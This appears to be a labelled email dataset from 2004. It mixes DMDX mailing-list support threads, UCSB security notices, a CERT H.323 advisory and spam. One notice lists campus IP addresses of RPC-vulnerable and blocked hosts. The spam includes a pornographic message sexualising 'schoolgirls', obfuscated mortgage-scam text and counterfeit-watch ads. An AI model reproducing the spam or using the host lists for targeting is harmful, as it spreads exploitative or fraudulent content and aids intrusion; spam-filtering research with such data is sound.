Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 Deidre Ayala ,DMDX@psy1.psych.arizona.edu,"Thu, 08 Jan 2004 18:41:27 -0400",Youngest aesthetical Schoolgirls fuckked by oldman.," Russsian bewitching Womans hardccore piccs and moovies. http://gamebestsite.info/fphf.htm?iSPhfd.fX,hj U-N-$-U-B-S-C-R-ll-B-E http://gamebestsite.info ",1,1 Georges Samaniego ,DMDX@psy1.psych.arizona.edu,"Thu, 08 Jan 2004 09:48:18 -0700",Re: oaaog news,"D b ear Home Ow b ne p r , Your cr p edi t t doesn't matter to us ! If you O v WN real e d st n at g e and want I r MME r DIA c TE cas x h to s a pen b d ANY way you like, or simply wish to L i OWER your monthly pa m yme g nts by a third or more, here are the d k eals we have T l OD u AY : $ 4 d 88 , 000 at a 3 d , 67% fi f xed - ra l te $ 3 s 72 , 000 at a 3 , x 90% v w aria o ble - rat u e $ 4 o 92 , 000 at a 3 , d 21% i y ntere x st - only $ 24 x 8 , 000 at a 3 , i 36% fi g xed - ra h te $ 1 h 98 , 000 at a 3 b , 55% v y ariable - ra x te H b urry, when these d n eaIs are gone, they are gone ! Don't worry about ap c pro p val, your cr v edi c t will not d r isqualif h y you ! V u isi j t ou o r site Sincerely, Georges Samaniego Ap y pr s oval Manager",1,1 egoiko@fice.deusto.es,DMDX@psy1.psych.arizona.edu,"Fri, 09 Jan 2004 20:22:24 +0100",[DMDX] naming task,We are trying to start a naming task with the dmdx. The items appear correctly and the answers are recorded in voice files. Our problem is that the accountant of time doesn't stop when the answer is emitted. The syntax that we have written for the time being is the following one: > d 10> dbc or> The task is carried out in a portable computer with Windows XP and a compatible microphone for PC. Thank you for your answer. Silvia Corral University of Deusto,0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 09 Jan 2004 18:53:45 -0700",[DMDX] Re: naming task,"At 08:22 PM 1/9/2004 +0100, you wrote: >We are trying to start a naming task with the dmdx. The items >appear correctly and the answers are recorded in voice files. > >Our problem is that the accountant of time doesn't stop when the >answer is emitted. That's the default behavior unless I changed something that I've forgotten about. You have to signal to DMDX that you want it to stop recording with the VOX, the details are in in the RecordVocal documentation, I don't remember off hand how it was done. >The syntax that we have written for the time being is the following >one: > > d 10> dbc or> DigitalVox> > > >The task is carried out in a portable computer with Windows XP >and a compatible microphone for PC. > >Thank you for your answer. > >Silvia Corral >University of Deusto > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The trouble with the profit system has always been that it was highly unprofitable to most people. - E. B. White (1899- ) One Man's Meat, 1944",0,1 Zhuang Jie ,"""DMDX@psy1.psych.arizona.edu"" ","Sat, 10 Jan 2004 10:59:14 +0800",[DMDX] TIMEDX test,"Hi, everyone, I meet a problem when I try to set up TIMEDX in an IBM notebook computer at the stage of ""time video mode"" test, and the feedback information is as follows, Create surface failed! DDERR_INVALIDPIXELFORMAT (88760091) pixel format was invalid as specified. I have tried many kinds of video modes, but always failed. Could anyone be so kind to give me some suggestions on how to solve it? Many thanks. Best, Zhuang Jie 　　　　　　　 ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 10 Jan 2004 17:17:05 -0700",[DMDX] Re: TIMEDX test,"At 10:59 AM 1/10/2004 +0800, you wrote: >Hi, everyone, > >I meet a problem when I try to set up TIMEDX in an IBM notebook computer >at the stage of ""time video mode"" test, and the feedback information is as >follows, > >Create surface failed! >DDERR_INVALIDPIXELFORMAT (88760091) >pixel format was invalid as specified. > >I have tried many kinds of video modes, but always failed. > >Could anyone be so kind to give me some suggestions on how to solve it? >Many thanks. New video drivers, failing that a new laptop. Maybe a later OS if you're using something really ancient. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The trouble with the profit system has always been that it was highly unprofitable to most people. - E. B. White (1899- ) One Man's Meat, 1944 ",0,0 ,,,,"(8.9.1/8.9.1) with ESMTP id MAA25351 for ; Mon, 12 Jan 2004 12:43:07 -0800 (PST) Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id MAA09950 for ; Mon, 12 Jan 2004 12:43:06 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1Ag8tt-000CEb-FC; Mon, 12 Jan 2004 12:43:05 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1Ag8tl-000CEI-Kh; Mon, 12 Jan 2004 12:42:57 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28] helo=UCSB.edu) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 1Ag8tj-000CEA-Tl; Mon, 12 Jan 2004 12:42:55 -0800 Message-ID: <400306CE.7080306@UCSB.edu> Date: Mon, 12 Jan 2004 12:42:54 -0800 From: E. Todd Atkins User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6b) Gecko/20040105 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: security-microsoft@ucsb.edu, csf@ucsb.edu X-Enigmail-Version: 0.82.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score-ucsb.edu: 0.0 (/) X-Spam-Score-ucsb.edu: 0.0 (/) Subject: [CSF] Blocked and Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Spam-Score-ucsb.edu: 0.0 (/) Hello, You can find a ""blocked hosts"" list as well as a ""unpatched hosts"" lists further down in this message. Here is what you need to do if your host is in the ""blocked hosts"" list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts (from http://noc.ucsb.edu/~shaber/net/ngb/filtered.txt) *** 128.111.20.39 agate.wirelesstest.ucsb.edu 128.111.20.40 dhcp20-40.wirelesstest.ucsb.edu 128.111.29.26 -- 128.111.29.39 -- 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.34.120 helix.mee.ucsb.edu 128.111.40.37 katie.cs.ucsb.edu 128.111.74.85 davidmac.materials.ucsb.edu 128.111.74.249 -- 128.111.77.107 das.crss.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.92.216 -- 128.111.96.3 edr-fiery.sdc.ucsb.edu 128.111.101.90 modis.icess.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.103.24 penguin.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.103.49 -- 128.111.104.131 gdhcp131.geog.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.110.88 -- 128.111.110.246 ocelote.bren.ucsb.edu 128.111.115.1 nmr.chem.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.120.28 lj5.lmri.ucsb.edu 128.111.138.160 -- 128.111.161.6 -- 128.111.162.145 -- 128.111.185.230 ra.ece.ucsb.edu 128.111.221.50 dhcp15.mat.ucsb.edu 128.111.221.52 dhcp17.mat.ucsb.edu 128.111.225.113 -- 128.111.229.207 -- 128.111.229.220 -- 128.111.229.229 -- 128.111.234.64 -- 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.7 -- 128.111.247.62 -- 128.111.247.63 -- 128.111.247.250 -- *** Unpatched hosts *** 128.111.29.35 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.29.141 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.30.94 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.30.118 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.31.45 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.32.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.243 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.40 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.142 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.100 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.38.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.221 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.224 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.52.23 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.155 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.143 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.72.174 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.74.205 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.54 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.74 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.116 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.154 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.158 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.177 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.239 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.27 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.217 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.18 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.82.22 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.28 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.103.54 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.56 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.180.105 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.180.135 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.178 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.131 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.171 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.46 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.182.75 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.110 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.177 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.188 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.229 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.73 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.184.99 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.137 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.207 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.59 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.195.134 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.222 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.198.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.198.232 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.202.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.209.154 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.222.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.227.168 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.234.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.88 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.106 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.179 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.64 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.249.67 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.211 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 46 RPCSS Vulnerable ............................. 75 DCOM Disabled ................................ 58 Not Vulnerable ............................... 3543 Errors ....................................... 33 TCP Port 135 Closed or Host Timeout .......... 61827 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 Scott Sinnett ,DMDX@psy1.psych.arizona.edu,"Tue, 13 Jan 2004 12:00:54 +0100",[DMDX] Help,"Hi, I'm not sure that the experiment I'm programming is possible with DMDX. I have three large video file that lasting about 12 minutes each. I need to present these three video files while at the same time present a series of files. There will be roughly 2100 wav files played while during the 3 video files are played. The wav files are only 500 ms long, that is why i need so many. Is it possible to have these video files played constantly as DMDX plays each audio file as well? What complicates the situation more is that the video files have sound as well. Will that be a problem as well? Thanks a million for anyone who can help me!!! Scott",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 13 Jan 2004 08:33:00 -0700",[DMDX] Re: Help,"At 12:00 PM 1/13/2004 +0100, you wrote: >I m not sure that the experiment I m programming is possible with DMDX. I >have three large video file that lasting about 12 minutes each. I need to >present these three video files while at the same time present a series of > files. There will be roughly 2100 wav files played while during >the 3 video files are played. The wav files are only 500 ms long, that is >why i need so many. Is it possible to have these video files played >constantly as DMDX plays each audio file as well? What complicates the >situation more is that the video files have sound as well. Will that be a >problem as well? Thanks a million for anyone who can help me!!! It's possible in theory, all the audio gets mixed together by DirectX. Whether in practice the machine has the resources to do it is another thing. You'll need a very well equipped machine to handle 2100 sound buffers at the same time which is what would happen if you tried to play them all in the same item. If it doesn't work you could always append all the audio files into one and use the keyword to play it along with the . And if they drift too far by the end of the video (and it's a concern) then I'd mix them all into the video beforehand. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ First Law of Socio-Genetics: Celibacy is not hereditary.",0,0 Helen Slaughter ,"jeannine@moose.cs.indiana.edu, norma@moose.cs.indiana.edu, doris@moose.cs.indiana.edu, darren@moose.cs.indiana.edu","Tue, 13 Jan 2004 16:00:12 +0300",Pay Less For Branded Watches rb," Highest qualities Replika Watches now HERE! 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The research involves development and application of novel ab initio based statistical mechanical schemes for the study of processes and reactions at surfaces; e.g., kinetic Monte Carlo including adparticle interactions via the lattice-gas approach, for calculation of reaction rates in heterogeneous catalysis, or stable and metastable phases in crystal growth. The applicant must hold a Ph.D. in physics, chemistry, or materials science, and have good knowledge of electronic structure theory, and experience in first-principles calculations. The positions offer good opportunity for international collaborations, and the campus is located near the heart of Sydney. The positions are full-time and fixed term for two years, subject to the completion of a satisfactory mandatory probation period of six months, commencing as soon as possible. Further offers of employment of up to one year may be available, subject to funding and need. For further information, contact Professor Catherine Stampfl on (02) 9351 5901 or e-mail: stampfl-at-physics.usyd.edu.au or visit: http://www.physics.usyd.edu.au/~stampfl/ To apply, send 5 copies of the application to: The Personnel Officer, College of Sciences and Technology, Carslaw Building, (F07), The University of Sydney, NSW, 2006 by the 14th of February. The application should quote reference number: A01/004499, address the selection criteria, and include a CV, the names, addresses, e-mail, fax and phone number of two referees. ",0,1 CERT Advisory ,cert-advisory@cert.org,"Wed, 14 Jan 2004 10:44:43 -0500",CERT Advisory CA-2004-01 Multiple H.323 Message Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2004-01 Multiple H.323 Message Vulnerabilities Original release date: January 13, 2004 Last revised: -- Source: CERT/CC, NISCC A complete revision history can be found at the end of this file. Systems Affected * Many software and hardware systems that implement the H.323 protocol Examples include + Voice over Internet Protocol (VoIP) devices and software + Video conferencing equipment and software + Session Initiation Protocol (SIP) devices and software + Media Gateway Control Protocol (MGCP) devices and software + Other networking equipment that may process H.323 traffic (e.g., routers and firewalls) Overview A number of vulnerabilities have been discovered in various implementations of the multimedia telephony protocol H.323. Voice over Internet Protocol (VoIP) and video conferencing equipment and software can use these protocols to communicate over a variety of computer networks. I. Description The U.K. National Infrastructure Security Co-ordination Centre (NISCC) has reported multiple vulnerabilities in different vendor implementations of the multimedia telephony protocol H.323. H.323 is an international standard protocol, published by the International Telecommunications Union, used to facilitate communication among telephony and multimedia systems. Examples of such systems include VoIP, video-conferencing equipment, and network devices that manage H.323 traffic. A test suite developed by NISCC and the University of Oulu Security Programming Group (OUSPG) has exposed multiple vulnerabilities in a variety of implementations of the H.323 protocol (specifically its connection setup sub-protocol H.225.0). Information about individual vendor H.323 implementations is available in the Vendor Information section below, and in the Vendor Information section of NISCC Vulnerability Advisory 006489/H323. The U.K. National Infrastructure Security Co-ordination Centre is tracking these vulnerabilities as NISCC/006489/H.323. The CERT/CC is tracking this issue as VU#749342. This reference number corresponds to CVE candidate CAN-2003-0819, as referenced in Microsoft Security Bulletin MS04-001. II. Impact Exploitation of these vulnerabilities may result in the execution of arbitrary code or cause a denial of service, which in some cases may require a system reboot. III. Solution Apply a patch or upgrade Appendix A and the Systems Affected section of Vulnerability Note VU#749342 contain information provided by vendors for this advisory (). However, as vendors report new information to the CERT/CC, we will only update VU#749342. If a particular vendor is not listed, we have not received their comments. Please contact your vendor directly. Filter network traffic Sites are encouraged to apply network packet filters to block access to the H.323 services at network borders. This can minimize the potential of denial-of-service attacks originating from outside the perimeter. The specific services that should be filtered include * 1720/TCP * 1720/UDP If access cannot be filtered at the network perimeter, the CERT/CC recommends limiting access to only those external hosts that require H.323 for normal operation. As a general rule, filtering all types of network traffic that are not required for normal operation is recommended. It is important to note that some firewalls process H.323 packets and may themselves be vulnerable to attack. As noted in some vendor recommendations like Cisco Security Advisory 20040113-h323 and Microsoft Security Bulletin MS04-001, certain sites may actually want to disable application layer inspection of H.323 network packets. Protecting your infrastructure against these vulnerabilities may require careful coordination among application, computer, network, and telephony administrators. You may have to make tradeoffs between security and functionality until vulnerable products can be updated. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. Please see the Systems Affected section of Vulnerability Note VU#749342 and the Vendor Information section of NISCC Vulnerability Advisory 006489/H323 for the latest information regarding the response of the vendor community to this issue. 3Com No statement is currently available from the vendor regarding this vulnerability. Alcatel No statement is currently available from the vendor regarding this vulnerability. Apple Computer Inc. Apple: Not Vulnerable. Mac OS X and Mac OS X Server do not contain the issue described in this note. AT&T No statement is currently available from the vendor regarding this vulnerability. Avaya Please see the NISCC Vulnerability Advisory 006489/H323 at http://www.uniras.gov.uk/vuls/2004/006489/h323.htm Borderware No statement is currently available from the vendor regarding this vulnerability. Check Point No statement is currently available from the vendor regarding this vulnerability. BSDI No statement is currently available from the vendor regarding this vulnerability. Cisco Systems Inc. Please see http://www.cisco.com/warp/public/707/cisco-sa-20040113-h323.shtml Clavister No statement is currently available from the vendor regarding this vulnerability. Computer Associates No statement is currently available from the vendor regarding this vulnerability. Cyberguard Please see the NISCC Vulnerability Advisory 006489/H323 at http://www.uniras.gov.uk/vuls/2004/006489/h323.htm Debian No statement is currently available from the vendor regarding this vulnerability. D-Link Systems No statement is currently available from the vendor regarding this vulnerability. Conectiva No statement is currently available from the vendor regarding this vulnerability. EMC Corporation No statement is currently available from the vendor regarding this vulnerability. Engarde No statement is currently available from the vendor regarding this vulnerability. eSoft We don't have an H.323 implementation and thus aren't affected by this. Extreme Networks No statement is currently available from the vendor regarding this vulnerability. F5 Networks No statement is currently available from the vendor regarding this vulnerability. Foundry Networks Inc. No statement is currently available from the vendor regarding this vulnerability. FreeBSD No statement is currently available from the vendor regarding this vulnerability. Fujitsu Please see the NISCC Vulnerability Advisory 006489/H323 at http://www.uniras.gov.uk/vuls/2004/006489/h323.htm Global Technology Associates No statement is currently available from the vendor regarding this vulnerability. Hitachi Please see the NISCC Vulnerability Advisory 006489/H323 at http://www.uniras.gov.uk/vuls/2004/006489/h323.htm Hewlett-Packard Company Please see the NISCC Vulnerability Advisory 006489/H323 at http://www.uniras.gov.uk/vuls/2004/006489/h323.htm Ingrian Networks No statement is currently available from the vendor regarding this vulnerability. Intel No statement is currently available from the vendor regarding this vulnerability. Intoto No statement is currently available from the vendor regarding this vulnerability. Juniper Networks No statement is currently available from the vendor regarding this vulnerability. Lachman No statement is currently available from the vendor regarding this vulnerability. Linksys No statement is currently available from the vendor regarding this vulnerability. Lotus Software No statement is currently available from the vendor regarding this vulnerability. Lucent Technologies Please see the NISCC Vulnerability Advisory 006489/H323 at http://www.uniras.gov.uk/vuls/2004/006489/h323.htm Microsoft Corporation Please see http://www.microsoft.com/technet/security/bulletin/MS04-001.asp MontaVista Software No statement is currently available from the vendor regarding this vulnerability. MandrakeSoft No statement is currently available from the vendor regarding this vulnerability. Multi-Tech Systems Inc. No statement is currently available from the vendor regarding this vulnerability. NEC Corporation No statement is currently available from the vendor regarding this vulnerability. NetBSD NetBSD does not ship any H.323 implementations as part of the Operating System. There are a number of third-party implementations available in the pkgsrc system. As these products are found to be vulnerable, or updated, the packages will be updated accordingly. The audit-packages mechanism can be used to check for known-vulnerable package versions. Netfilter No statement is currently available from the vendor regarding this vulnerability. NetScreen No statement is currently available from the vendor regarding this vulnerability. Network Appliance No statement is currently available from the vendor regarding this vulnerability. Nokia No statement is currently available from the vendor regarding this vulnerability. Nortel Networks The following Nortel Networks Generally Available products and solutions are potentially affected by the vulnerabilities identified in NISCC Vulnerability Advisory 006489/H323 and CERT VU#749342: Business Communications Manager (BCM) (all versions) is potentially affected; more information is available in Product Advisory Alert No. PAA 2003-0392-Global. Succession 1000 IP Trunk and IP Peer Networking, and 802.11 Wireless IP Gateway are potentially affected; more information is available in Product Advisory Alert No. PAA-2003-0465-Global. For more information please contact North America: 1-800-4NORTEL or 1-800-466-7835 Europe, Middle East and Africa: 00800 8008 9009, or +44 (0) 870 907 9009 Contacts for other regions are available at http://www.nortelnetworks.com/help/contact/global/ Or visit the eService portal at http://www.nortelnetworks.com/cs under Advanced Search. If you are a channel partner, more information can be found under http://www.nortelnetworks.com/pic under Advanced Search. Novell No statement is currently available from the vendor regarding this vulnerability. Objective Systems Inc. Please see the NISCC Vulnerability Advisory 006489/H323 at http://www.uniras.gov.uk/vuls/2004/006489/h323.htm OpenBSD No statement is currently available from the vendor regarding this vulnerability. Openwall GNU/*/Linux No statement is currently available from the vendor regarding this vulnerability. RadVision Please see the NISCC Vulnerability Advisory 006489/H323 at http://www.uniras.gov.uk/vuls/2004/006489/h323.htm Red Hat Inc. Please see the NISCC Vulnerability Advisory 006489/H323 at http://www.uniras.gov.uk/vuls/2004/006489/h323.htm Oracle Corporation No statement is currently available from the vendor regarding this vulnerability. Riverstone Networks No statement is currently available from the vendor regarding this vulnerability. Secure Computing Corporation No statement is currently available from the vendor regarding this vulnerability. SecureWorks No statement is currently available from the vendor regarding this vulnerability. Sequent No statement is currently available from the vendor regarding this vulnerability. Sony Corporation No statement is currently available from the vendor regarding this vulnerability. Stonesoft No statement is currently available from the vendor regarding this vulnerability. Sun Microsystems Inc. Sun SNMP does not provide support for H.323, so we are not vulnerable. And so far we have not found any bundled products that are affected by this vulnerability. We are also actively investigating our unbundled products to see if they are affected. Updates will be provided to this statement as they become available. SuSE Inc. No statement is currently available from the vendor regarding this vulnerability. Symantec Corporation Please see the NISCC Vulnerability Advisory 006489/H323 at http://www.uniras.gov.uk/vuls/2004/006489/h323.htm Unisys No statement is currently available from the vendor regarding this vulnerability. TandBerg Please see the NISCC Vulnerability Advisory 006489/H323 at http://www.uniras.gov.uk/vuls/2004/006489/h323.htm Tumbleweed Communications Corp. Please see the NISCC Vulnerability Advisory 006489/H323 at http://www.uniras.gov.uk/vuls/2004/006489/h323.htm TurboLinux No statement is currently available from the vendor regarding this vulnerability. uniGone Please see the NISCC Vulnerability Advisory 006489/H323 at http://www.uniras.gov.uk/vuls/2004/006489/h323.htm WatchGuard No statement is currently available from the vendor regarding this vulnerability. Wirex No statement is currently available from the vendor regarding this vulnerability. Wind River Systems Inc. No statement is currently available from the vendor regarding this vulnerability. Xerox No statement is currently available from the vendor regarding this vulnerability. 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Revision History January 13, 2004: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBQASK7JZ2NNT/dVAVAQG65wP8C7DyEvZGz0HqXtRqk+PAjjpMqex1hdjT BfkT6oHMhTWIdvUE1mpAwnV7OPL+N+UugCC0bAEXQzBy/YkBBOptt7IZdIeOlInh AP0RO5zqt0GqMIrdW7P14iWBX2lLCQaMUgWNyvK4ZTNE9UzpOgBk2JonfBLjbH77 KeVgAqcfP2M= =p0GQ -----END PGP SIGNATURE-----",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id JAA02798 for ; Wed, 14 Jan 2004 09:39:57 -0800 (PST) Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id JAA02363 for ; Wed, 14 Jan 2004 09:39:57 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1Agozj-000DoG-Ll; Wed, 14 Jan 2004 09:39:55 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1Agozd-000Do0-D3; Wed, 14 Jan 2004 09:39:49 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28] helo=UCSB.edu) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 1AgozY-000Dno-Lq; Wed, 14 Jan 2004 09:39:44 -0800 Message-ID: <40057EDB.1000308@UCSB.edu> Date: Wed, 14 Jan 2004 09:39:39 -0800 From: E. Todd Atkins User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6b) Gecko/20040105 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: security-microsoft@ucsb.edu, csf@ucsb.edu X-Enigmail-Version: 0.82.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score-ucsb.edu: 0.0 (/) X-Spam-Score-ucsb.edu: 0.0 (/) Subject: [CSF] Blocked and Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , 